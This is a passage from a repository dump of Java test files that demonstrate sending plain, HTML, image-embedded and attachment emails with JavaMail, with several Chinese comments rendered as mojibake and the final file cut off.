    "content": "\n\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\nimport org.junit.Test;\n\n/**\n * @author Wujun\n *\n */\npublic class App_1SendMail {\n\n\t@Test\n\tpublic void testSend() throws Exception {\n\t\t\n\t\t//0. �ʼ�����\n\t\tProperties prop = new Properties();\n\t\tprop.put(\"mail.transport.protocol\", \"smtp\");\t// ָ��Э��\n\t\tprop.put(\"mail.smtp.host\", \"localhost\");\t\t// ����   stmp.qq.com\n\t\tprop.put(\"mail.smtp.port\", 25);\t\t\t\t\t// �˿�\n\t\tprop.put(\"mail.smtp.auth\", \"true\");\t\t\t\t// �û�������֤\n\t\tprop.put(\"mail.debug\", \"true\");\t\t\t\t\t// ����ģʽ\n\t\t\n\t\t//1. ����һ���ʼ��ĻỰ\n\t\tSession session = Session.getDefaultInstance(prop);\n\t\t//2. �����ʼ������ (����ʼ�����)\n\t\tMimeMessage message = new MimeMessage(session);\n\t\t//3. �����ʼ������: \n\t\t//3.1 ����\n\t\tmessage.setSubject(\"�ҵĵ�һ���ʼ�\t\");\n\t\t//3.2 �ʼ�����ʱ��\n\t\tmessage.setSentDate(new Date());\n\t\t//3.3 ������\n\t\tmessage.setSender(new InternetAddress(\"zhangsan@itcast.com\"));\n\t\t//3.4 ������\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"lisi@itcast.com\"));\n\t\t//3.5����\n\t\t//message.setText(\"��ã��Ѿ����ͳɹ���  ����....\");  // �򵥴��ı��ʼ�\n\t\t// �ʼ��к��г�����\n\t\t//message.setText(\"<a href='#'>�ٶ�</a>\");\n\t\tmessage.setContent(\"<a href='#'>�ٶ�</a>\", \"text/html;charset=UTF-8\");\n\t\t\n\t\tmessage.saveChanges();   // �����ʼ�(��ѡ)\n\t\t\n\t\t//4. ����\n\t\tTransport trans = session.getTransport();\n\t\ttrans.connect(\"zhangsan\", \"888\");\n\t\t// �����ʼ�\n\t\ttrans.sendMessage(message, message.getAllRecipients());\n\t\ttrans.close();\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/App_2SendWithImg.java",
    "content": "\n\nimport java.io.File;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\nimport org.junit.Test;\n\n/**\n * ��ͼƬ��Դ���ʼ�\n * @author Wujun\n *\n */\npublic class App_2SendWithImg {\n\t\n\t// ��ʼ������\n\tprivate static Properties prop;\n\t// ������\n\tprivate static InternetAddress sendMan = null;\n\tstatic {\n\t\tprop = new Properties();\n\t\tprop.put(\"mail.transport.protocol\", \"smtp\");\t// ָ��Э��\n\t\tprop.put(\"mail.smtp.host\", \"localhost\");\t\t// ����   stmp.qq.com\n\t\tprop.put(\"mail.smtp.port\", 25);\t\t\t\t\t// �˿�\n\t\tprop.put(\"mail.smtp.auth\", \"true\");\t\t\t\t// �û�������֤\n\t\tprop.put(\"mail.debug\", \"true\");\t\t\t\t\t// ����ģʽ\n\t\ttry {\n\t\t\tsendMan = new InternetAddress(\"zhangsan@itcast.com\");\n\t\t} catch (AddressException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testSend() throws Exception {\n\t\t// 1. �����ʼ��Ự\n\t\tSession session = Session.getDefaultInstance(prop);\n\t\t// 2. �����ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\t// 3. ���ò�����⡢�����ˡ��ռ��ˡ�����ʱ�䡢����\n\t\tmessage.setSubject(\"��ͼƬ�ʼ�\");\n\t\tmessage.setSender(sendMan);\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"lisi@itcast.com\"));\n\t\tmessage.setSentDate(new Date());\n\t\t\n\t\t/***************�����ʼ�����: �๦���û��ʼ� (related)*******************/\n\t\t// 4.1 ����һ���๦���ʼ���\n\t\tMimeMultipart related = new MimeMultipart(\"related\");\n\t\t// 4.2 �����๦���ʼ������� = ����ı� + �Ҳ�ͼƬ��Դ\n\t\tMimeBodyPart content = new MimeBodyPart();\n\t\tMimeBodyPart resource = new MimeBodyPart();\n\t\t\n\t\t// ���þ�������: a.��Դ(ͼƬ)\n\t\tString filePath = App_2SendWithImg.class.getResource(\"8.jpg\").getPath();\n\t\tDataSource ds = new FileDataSource(new File(filePath));\n\t\tDataHandler handler = new DataHandler(ds);\n\t\tresource.setDataHandler(handler);\n\t\tresource.setContentID(\"8.jpg\");   // ������Դ��ƣ����������\n\t\t\n\t\t// ���þ�������: b.�ı�\n\t\tcontent.setContent(\"<img src='cid:8.jpg'/>  �ù�����\", \"text/html;charset=UTF-8\");\n\t\t\n\t\trelated.addBodyPart(content);\n\t\trelated.addBodyPart(resource);\n\t\t\n\t\t/*******4.3 �ѹ����ĸ����ʼ��죬��ӵ��ʼ���********/\n\t\tmessage.setContent(related);\n\t\t\n\t\t\n\t\t// 5. ����\n\t\tTransport trans = session.getTransport();\n\t\ttrans.connect(\"zhangsan\", \"888\");\n\t\ttrans.sendMessage(message, message.getAllRecipients());\n\t\ttrans.close();\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/App_3ImgAndAtta.java",
    "content": "\n\nimport java.io.File;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\nimport org.junit.Test;\n\n/**\n * 3. ��ͼƬ��Դ�Լ��������ʼ�\n * @author Wujun\n *\n */\npublic class App_3ImgAndAtta {\n\t\n\t// ��ʼ������\n\tprivate static Properties prop;\n\t// ������\n\tprivate static InternetAddress sendMan = null;\n\tstatic {\n\t\tprop = new Properties();\n\t\tprop.put(\"mail.transport.protocol\", \"smtp\");\t// ָ��Э��\n\t\tprop.put(\"mail.smtp.host\", \"localhost\");\t\t// ����   stmp.qq.com\n\t\tprop.put(\"mail.smtp.port\", 25);\t\t\t\t\t// �˿�\n\t\tprop.put(\"mail.smtp.auth\", \"true\");\t\t\t\t// �û�������֤\n\t\tprop.put(\"mail.debug\", \"true\");\t\t\t\t\t// ����ģʽ\n\t\ttry {\n\t\t\tsendMan = new InternetAddress(\"zhangsan@itcast.com\");\n\t\t} catch (AddressException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testSend() throws Exception {\n\t\t// 1. �����ʼ��Ự\n\t\tSession session = Session.getDefaultInstance(prop);\n\t\t// 2. �����ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\t// 3. ���ò�����⡢�����ˡ��ռ��ˡ�����ʱ�䡢����\n\t\tmessage.setSubject(\"��ͼƬ�ʼ�\");\n\t\tmessage.setSender(sendMan);\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"lisi@itcast.com\"));\n\t\tmessage.setSentDate(new Date());\n\t\t\n\t\t/*\n\t\t * ���(ͼƬ)�ʼ�����\n\t\t */\n\t\t// ����һ���ܵ��ʼ���\n\t\tMimeMultipart mixed = new MimeMultipart(\"mixed\");\n\t\t// ---> ���ʼ��죬���õ��ʼ�������\n\t\tmessage.setContent(mixed);\n\t\t// ��ࣺ ���ı�+ͼƬ��Դ��\n\t\tMimeBodyPart left = new MimeBodyPart();\n\t\t// �Ҳࣺ ����\n\t\tMimeBodyPart right = new MimeBodyPart();\n\t\t// ���õ����ʼ���\n\t\tmixed.addBodyPart(left);\n\t\tmixed.addBodyPart(right);\n\t\t\n\t\t/******����********/\n\t\tString attr_path = this.getClass().getResource(\"a.docx\").getPath();\n\t\tDataSource attr_ds = new FileDataSource(new File(attr_path));\n\t\tDataHandler attr_handler = new DataHandler(attr_ds);\n\t\tright.setDataHandler(attr_handler);\n\t\tright.setFileName(\"a.docx\");\n\t\t\n\t\t\n\t\t/***************�����ʼ�����: �๦���û��ʼ� (related)*******************/\n\t\t// 4.1 ����һ���๦���ʼ���\n\t\tMimeMultipart related = new MimeMultipart(\"related\");\n\t\t// ----> ���õ����ʼ���������\n\t\tleft.setContent(related);\n\t\t\n\t\t// 4.2 �����๦���ʼ������� = ����ı� + �Ҳ�ͼƬ��Դ\n\t\tMimeBodyPart content = new MimeBodyPart();\n\t\tMimeBodyPart resource = new MimeBodyPart();\n\t\t\n\t\t// ���þ�������: a.��Դ(ͼƬ)\n\t\tString filePath = App_3ImgAndAtta.class.getResource(\"8.jpg\").getPath();\n\t\tDataSource ds = new FileDataSource(new File(filePath));\n\t\tDataHandler handler = new DataHandler(ds);\n\t\tresource.setDataHandler(handler);\n\t\tresource.setContentID(\"8.jpg\");   // ������Դ��ƣ����������\n\t\t\n\t\t// ���þ�������: b.�ı�\n\t\tcontent.setContent(\"<img src='cid:8.jpg'/>  �ù�����\", \"text/html;charset=UTF-8\");\n\t\t\n\t\trelated.addBodyPart(content);\n\t\trelated.addBodyPart(resource);\n\t\t\n\t\t\n\t\t\n\t\t// 5. ����\n\t\tTransport trans = session.getTransport();\n\t\ttrans.connect(\"zhangsan\", \"888\");\n\t\ttrans.sendMessage(message, message.getAllRecipients());\n\t\ttrans.close();\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/EmailSender.java",
    "content": "\n\nimport java.io.File;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.FileDataSource;\nimport javax.mail.Authenticator;\nimport javax.mail.Message;\nimport javax.mail.Multipart;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\npublic class EmailSender {\n    private static final String charset = \"GBK\";\n    private static final String defaultMimetype = \"text/plain\";\n    \n    public static void main(String[] args) throws Exception {\n    \tEmailSender.send(new String[]{\"job@itcast.cn\"}, \"邮件测试xx\", \"<b>传智播客</b>\", null , \"text/html\");\n    }\n    /**\n     * 发送邮件\n     * @param receiver 收件人\n     * @param subject 标题\n     * @param mailContent 邮件内容\n     * @param mimetype 内容类型 默认为text/plain,如果要发送HTML内容,应设置为text/html\n     */\n    public static void send(String receiver, String subject, String mailContent, String mimetype) {\n    \tsend(new String[]{receiver}, subject, mailContent, mimetype);\n    }\n    /**\n     * 发送邮件\n     * @param receivers 收件人\n     * @param subject 标题\n     * @param mailContent 邮件内容\n     * @param mimetype 内容类型 默认为text/plain,如果要发送HTML内容,应设置为text/html\n     */\n    public static void send(String[] receivers, String subject, String mailContent, String mimetype) {\n    \tsend(receivers, subject, mailContent, null, mimetype);\n    }\n    /**\n     * 发送邮件\n     * @param receivers 收件人\n     * @param subject 标题\n     * @param mailContent 邮件内容\n     * @param attachements 附件\n     * @param mimetype 内容类型 默认为text/plain,如果要发送HTML内容,应设置为text/html\n     */\n    public static void send(String[] receivers, String subject, String mailContent, File[] attachements, String mimetype) {\n        Properties props = new Properties();\n        props.put(\"mail.smtp.host\", \"mail.itcast.cn\");//smtp服务器地址 sohu\n        props.put(\"mail.smtp.auth\", \"true\");//需要校验\n        Session session = Session.getDefaultInstance(props, new Authenticator() {\n            protected PasswordAuthentication getPasswordAuthentication() {\n                return new PasswordAuthentication(\"job@itcast.cn\",\"lihuoming\");//登录用户名/密码\n            }\n        });\n        session.setDebug(true);\n        try {\n            MimeMessage mimeMessage = new MimeMessage(session);\n            mimeMessage.setFrom(new InternetAddress(\"job@itcast.cn\"));//发件人邮件\n\n            InternetAddress[] toAddress = new InternetAddress[receivers.length];\n            for (int i=0; i<receivers.length; i++) {\n                toAddress[i] = new InternetAddress(receivers[i]);\n            }\n            mimeMessage.setRecipients(Message.RecipientType.TO, toAddress);//收件人邮件\n            mimeMessage.setSubject(subject, charset);\n            \n            Multipart multipart = new MimeMultipart();\n            //正文\n            MimeBodyPart body = new MimeBodyPart();\n           // body.setText(message, charset);不支持html\n            body.setContent(mailContent, (mimetype!=null && !\"\".equals(mimetype) ? mimetype : defaultMimetype)+ \";charset=\"+ charset);\n            multipart.addBodyPart(body);//发件内容\n            //附件\n            if(attachements!=null){\n\t            for (File attachement : attachements) {\n\t                MimeBodyPart attache = new MimeBodyPart();\n\t               //ByteArrayDataSource bads = new ByteArrayDataSource(byte[],\"application/x-any\");\n\t                attache.setDataHandler(new DataHandler(new FileDataSource(attachement)));\n\t                String fileName = getLastName(attachement.getName());\n\t                attache.setFileName(MimeUtility.encodeText(fileName, charset, null));\n\t                multipart.addBodyPart(attache);\n\t            }\n            }\n            mimeMessage.setContent(multipart);\n           // SimpleDateFormat formcat = new SimpleDateFormat(\"yyyy-MM-dd\");            \n            mimeMessage.setSentDate(new Date());//formcat.parse(\"2010-5-23\")\n            Transport.send(mimeMessage);            \n        } catch (Exception e) {\n        \te.printStackTrace();\n        }\n    }\n\n    private static String getLastName(String fileName) {\n        int pos = fileName.lastIndexOf(\"\\\\\");\n        if (pos > -1) {\n            fileName = fileName.substring(pos + 1);\n        }\n        pos = fileName.lastIndexOf(\"/\");\n        if (pos > -1) {\n            fileName = fileName.substring(pos + 1);\n        }\n        return fileName;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/Mail2.java",
    "content": "\n\nimport java.net.URLDecoder;\nimport java.net.URLEncoder;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Authenticator;\nimport javax.mail.MessagingException;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\npublic class Mail2 {\n\n\t// �ʼ����Ͳ�����Ϣ\n\tstatic Properties prop = new Properties();\n\t\n\tstatic String user = \"itcast\";\n\tstatic String pwd = \"888\";\n\t\n\t// ��ʼ������\n\tstatic {\n\t\t// Э��\n\t\tprop.put(\"mail.transport.protocol\", \"smtp\");\n\t\t// �˿�\n\t\tprop.put(\"mail.smtp.port\", \"25\");\n\t\t// ����\n\t\tprop.put(\"mail.smtp.host\", \"localhost\");\n\t\t// ��֤\n\t\tprop.put(\"mail.smtp.auth\", \"true\");\n\t\t// ����\n\t\tprop.put(\"mail.debug\", \"true\");\n\t}\n\t\n\t//1. �����ʼ�\n\tpublic static void sendEmail() throws Exception {\n\t\t//�����Ự����\n\t\tSession session = Session.getDefaultInstance(prop, new MyAuthenticator(user,pwd));\n\t\t//�ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\tmessage.setFrom(new InternetAddress(\"itcast@it.com\"));\n\t\tmessage.setRecipient(RecipientType.CC, new InternetAddress(\"yuanjie@it.com\"));\n\t\tmessage.setSentDate(new Date());\n\t\tmessage.setSubject(\"������..............\");\n\t\tmessage.setText(\"��Щ��ȥ������\");\n\t\tmessage.saveChanges();\n\t\t\n\t\t// ����\n\t\tTransport.send(message);\n\t}\n\t//2. ����html�ʼ�\n\tpublic static void sendHtmlEmail() throws Exception {\n\t\t//�����Ự����\n\t\tSession session = Session.getDefaultInstance(prop, new MyAuthenticator(user,pwd));\n\t\t//�ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\tmessage.setFrom(new InternetAddress(\"itcast@it.com\"));\n\t\tmessage.setRecipient(RecipientType.CC, new InternetAddress(\"yuanjie@it.com\"));\n\t\tmessage.setSentDate(new Date());\n\t\tmessage.setSubject(\"������..............\");\n\t\tmessage.setContent(\"<a href='http://www.baidu.com'>����</a>\", \"text/html;charset=GBK\");\n\t\tmessage.saveChanges();\n\t\t// ����\n\t\tTransport.send(message);\n\t}\n\t//3. ����html + img �ʼ�\n\tpublic static void sendHtmlAndImgEmail() throws Exception {\n\t\t// �Ự����\n\t\tSession session = Session.getDefaultInstance(prop, new MyAuthenticator(user, pwd));\n\t\t// �ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\tmessage.setFrom(new InternetAddress(\"itcast@it.com\"));\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"yuanjie@it.com\"));\n\t\tmessage.setSubject(\"ͼƬ\");\n\t\tmessage.setSentDate(new Date());\n\t\t\n\t\t// ���ö๦���ʼ�\n\t\tMimeMultipart multipart = new MimeMultipart(\"related\");\n\t\tmessage.setContent(multipart);\n\t\t\n\t\t// �ʼ����ݣ� html + �ı�\n\t\tMimeBodyPart body = new MimeBodyPart();\n\t\t// �ʼ�����Ƕ��Դ��\n\t\tMimeBodyPart source = new MimeBodyPart();\n\t\t\n\t\t// ����ʼ����ݣ����๦����;�ʼ�\n\t\tmultipart.addBodyPart(body);\n\t\tmultipart.addBodyPart(source);\n\t\t\n\t\t// ������Դ\n\t\tDataSource ds = new FileDataSource(Mail2.class.getResource(\"1.jpg\").getPath());\n\t\tDataHandler handler = new DataHandler(ds);\n\t\tsource.setDataHandler(handler);\n\t\t// ������Դid�����ʼ���������\n\t\tsource.setContentID(\"1.jpg\");\n\t\t\n\t\t// ��������\n\t\tbody.setContent(\"<img src='cid:1.jpg' />�úú�\", \"text/html;charset=UTF-8\");\n\t\t\n\t\t// �����ʼ�������\n\t\tmessage.saveChanges();\n\t\tTransport.send(message);\n\t}\n\t\n\t//4. ����html + img + �����ʼ�\n\tpublic static void sendHtmlWithImgAndAttacheEmail() throws Exception {\n\t\t// �Ự����\n\t\tSession session = Session.getDefaultInstance(prop, new MyAuthenticator(user, pwd));\n\t\t// �ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\tmessage.setFrom(new InternetAddress(\"itcast@it.com\"));\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"yuanjie@it.com\"));\n\t\tmessage.setSubject(\"ͼƬ\");\n\t\tmessage.setSentDate(new Date());\n\t\t\n\t\t/*********�������ʼ���***********/\n\t\tMimeMultipart mix = new MimeMultipart(\"mixed\");\n\t\tmessage.setContent(mix);\n\t\t// ���ҿ�\n\t\tMimeBodyPart left = new MimeBodyPart();\n\t\tMimeBodyPart right = new MimeBodyPart();\n\t\t// ���\n\t\tmix.addBodyPart(left);\n\t\tmix.addBodyPart(right);\n\t\t\n\t\t// �����ұߣ� ����(���ģ�1. ·�����룻 2. ͨ��setFileName�����ļ�����Ϊgbk)\n\t\tDataSource fileDs = new FileDataSource(URLDecoder.decode(Mail2.class.getResource(\"�û���֪.doc\").getPath(), \"UTF-8\"));\n\t\tDataHandler fileHandler = new DataHandler(fileDs);\n\t\tright.setDataHandler(fileHandler);\n\t\t// �����ļ�\n\t\tright.setFileName(MimeUtility.encodeText(\"�û���֪.doc\"));\n\t\t\n\t\t\n\t\t// ���ö๦���ʼ�\n\t\tMimeMultipart multipart = new MimeMultipart(\"related\");\n\t\t// ������߿飺 html + �ı� + ��Դ\n\t\tleft.setContent(multipart);\n\t\t\n\t\t// �ʼ����ݣ� html + �ı�\n\t\tMimeBodyPart body = new MimeBodyPart();\n\t\t// �ʼ�����Ƕ��Դ��\n\t\tMimeBodyPart source = new MimeBodyPart();\n\t\t\n\t\t// ����ʼ����ݣ����๦����;�ʼ�\n\t\tmultipart.addBodyPart(body);\n\t\tmultipart.addBodyPart(source);\n\t\t\n\t\t// ������Դ\n\t\tDataSource ds = new FileDataSource(Mail2.class.getResource(\"1.jpg\").getPath());\n\t\tDataHandler handler = new DataHandler(ds);\n\t\tsource.setDataHandler(handler);\n\t\t// ������Դid�����ʼ���������\n\t\tsource.setContentID(\"1.jpg\");\n\t\t\n\t\t// ��������\n\t\tbody.setContent(\"<img src='cid:1.jpg' />�úú�\", \"text/html;charset=UTF-8\");\n\t\t\n\t\t// �����ʼ�������\n\t\tmessage.saveChanges();\n\t\tTransport.send(message);\n\t}\n\t\n\t\n\t// ��֤\n\tstatic class MyAuthenticator extends Authenticator{\n\t\tprivate String user;\n\t\tprivate String pwd;\n\t\tpublic MyAuthenticator(String user, String pwd) {\n\t\t\tsuper();\n\t\t\tthis.user = user;\n\t\t\tthis.pwd = pwd;\n\t\t}\n\t\tpublic MyAuthenticator() {}\n\t\t\n\t\tprotected PasswordAuthentication getPasswordAuthentication() {\n\t\t\treturn new PasswordAuthentication(user, pwd);\n\t\t}\n\t}\n\t\n\t\n\tpublic static void main(String[] args) throws Exception {\n//\t\tsendEmail();\n//\t\tsendHtmlEmail();\n//\t\tsendHtmlAndImgEmail();\n\t\tsendHtmlWithImgAndAttacheEmail();\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/MailServlet.java",
    "content": "\n\nimport java.io.IOException;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n\n//http://localhost:18080/jun_plugin_base/mail?method=getMsg&username=abc\n@WebServlet(name = \"MailServlet\", value = { \"/mail\" }, asyncSupported = true)\npublic class MailServlet extends HttpServlet {\n\n\t \n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tdoPost(request, response);\n\t}\n\n\t \n\tpublic void sendMail(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\ttry {\n\t\t\t//Demo2.main(new String[]{});\n\t\t\t\n\t\t\tContext initCtx = new InitialContext();\n\t\t\tContext envCtx = (Context) initCtx.lookup(\"java:comp/env\");\n\t\t\tSession session = (Session) envCtx.lookup(\"mail/Dog\");\n\n\t\t\tMessage message = new MimeMessage(session);\n\t\t\tmessage.setFrom(new InternetAddress(\"itcast_test@sina.com\"));\n\t\t\tInternetAddress to[] = new InternetAddress[1];\n\t\t\tto[0] = new InternetAddress(\"itcast_test@sina.com\");\n\t\t\tmessage.setRecipients(Message.RecipientType.TO, to);\n\t\t\tmessage.setSubject(\"ha\");\n\t\t\tmessage.setText(\"test\");\n\t\t\t//Transport.send(message);\n\t\t\tTransport transport = session.getTransport();\n\t\t\ttransport.connect(\"smtp.sina.com\", \"itcast_test\", \"123456\");\n\t\t\ttransport.sendMessage(message, to);\n\t\t\ttransport.close();\n\t\t\tresponse.getWriter().print(\"ok!\");\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace(response.getWriter());\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/MailUtils.java",
    "content": "\n\nimport java.util.Properties;\n\nimport javax.mail.Authenticator;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\npublic class MailUtils {\n\n\tpublic static void sendMail(String email, String emailMsg)\n\t\t\tthrows AddressException, MessagingException {\n\t\t// 1.创建一个程序与邮件服务器会话对象 Session\n\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.transport.protocol\", \"SMTP\");\n\t\tprops.setProperty(\"mail.host\", \"smtp.sohu.com\");\n\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");// 指定验证为true\n\n\t\t// 创建验证器\n\t\tAuthenticator auth = new Authenticator() {\n\t\t\tpublic PasswordAuthentication getPasswordAuthentication() {\n\t\t\t\treturn new PasswordAuthentication(\"itcast_duhong\", \"1234567890\");\n\t\t\t}\n\t\t};\n\n\t\tSession session = Session.getInstance(props, auth);\n\n\t\t// 2.创建一个Message，它相当于是邮件内容\n\t\tMessage message = new MimeMessage(session);\n\n\t\tmessage.setFrom(new InternetAddress(\"itcast_duhong@sohu.com\")); // 设置发送者\n\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(email)); // 设置发送方式与接收者\n\n\t\tmessage.setSubject(\"用户激活\");\n\t\t// message.setText(\"这是一封激活邮件，请<a href='#'>点击</a>\");\n\n\t\tmessage.setContent(emailMsg, \"text/html;charset=utf-8\");\n\n\t\t// 3.创建 Transport用于将邮件发送\n\n\t\tTransport.send(message);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/Mail_1_normal.java",
    "content": "\n\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\nimport org.junit.Test;\n\npublic class Mail_1_normal {\n\n\t// ͨ����뷢���ʼ�\n\t@Test\n\tpublic void testMail() throws Exception {\n\t\n\t\t// ���������ʼ��������Ĳ���\n\t\tProperties prop = new Properties();\n\t\tprop.put(\"mail.transport.protocol\", \"smtp\");\t// ָ��Э��\n\t\tprop.put(\"mail.smtp.host\", \"localhost\");\t\t// ����   stmp.qq.com\n\t\tprop.put(\"mail.smtp.port\", 25);\t\t\t\t\t// �˿�\n\t\tprop.put(\"mail.smtp.auth\", \"true\");\t\t\t\t// �û�������֤\n\t\tprop.put(\"mail.debug\", \"true\");\t\t\t\t\t// ����ģʽ\n\t\t\n\t\t\n\t\t//1. �����ʼ��Ự����\n\t\tSession session = Session.getDefaultInstance(prop);\n\t\t\n\t\t//2. �����ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\t//3. �����ʼ��������: �����ˡ��ռ��ˡ����⡢���ݡ�����ʱ��\n\t\tmessage.setSender(new InternetAddress(\"zhangsan@itcast.com\"));\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"lisi@itcast.com\"));\n\t\tmessage.setSubject(\"�ҵĵ�һ���ʼ�2��\");\n\t\tmessage.setText(\"�ʼ�����2��\");\n\t\tmessage.setSentDate(new Date());\n\t\tmessage.saveChanges(); // �����ʼ�\n\t\t\n\t\t//4. �ʼ�����\n\t\tTransport trans = session.getTransport();\n\t\ttrans.connect(\"zhangsan\", \"888\"); // ָ�����ӷ����˵��û�����\n\t\ttrans.sendMessage(message, message.getAllRecipients());\n\t\ttrans.close();// �Ͽ�����\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/Mail_2_img.java",
    "content": "\n\nimport java.io.File;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\nimport org.junit.Test;\n\n/**\n * ��ͼƬ��Դ���ʼ�\n * @author Wujun\n *\n */\npublic class Mail_2_img {\n\n\t@Test\n\tpublic void testMail() throws Exception {\n\t\n\t\t// ���������ʼ��������Ĳ���\n\t\tProperties prop = new Properties();\n\t\tprop.put(\"mail.transport.protocol\", \"smtp\");\t// ָ��Э��\n\t\tprop.put(\"mail.smtp.host\", \"localhost\");\t\t// ����   stmp.qq.com\n\t\tprop.put(\"mail.smtp.port\", 25);\t\t\t\t\t// �˿�\n\t\tprop.put(\"mail.smtp.auth\", \"true\");\t\t\t\t// �û�������֤\n\t\tprop.put(\"mail.debug\", \"true\");\t\t\t\t\t// ����ģʽ\n\t\t\n\t\t//1. �����Ự\n\t\tSession session = Session.getDefaultInstance(prop);\n\t\t//2. �����ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\t//3. �����ʼ�����\n\t\tmessage.setSender(new InternetAddress(\"zhangsan@itcast.com\"));\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"lisi@itcast.com\"));\n\t\tmessage.setSubject(\"��ͼƬ���ʼ�\");\n\t\tmessage.setSentDate(new Date());\n\t\t//message.setText(\"<a href='#'>�ٶ�<a/>\");\n\t\t\n\t\t/**************1. �ʼ�����ͼƬ��Դ********************/\n\t\t// 1.1 �����������ʼ���\n\t\tMimeMultipart mul = new MimeMultipart(\"related\");\n\t\t// �ʼ���related  = ���� +  ��Դ\n\t\tMimeBodyPart content = new MimeBodyPart(); // ����\n\t\tMimeBodyPart 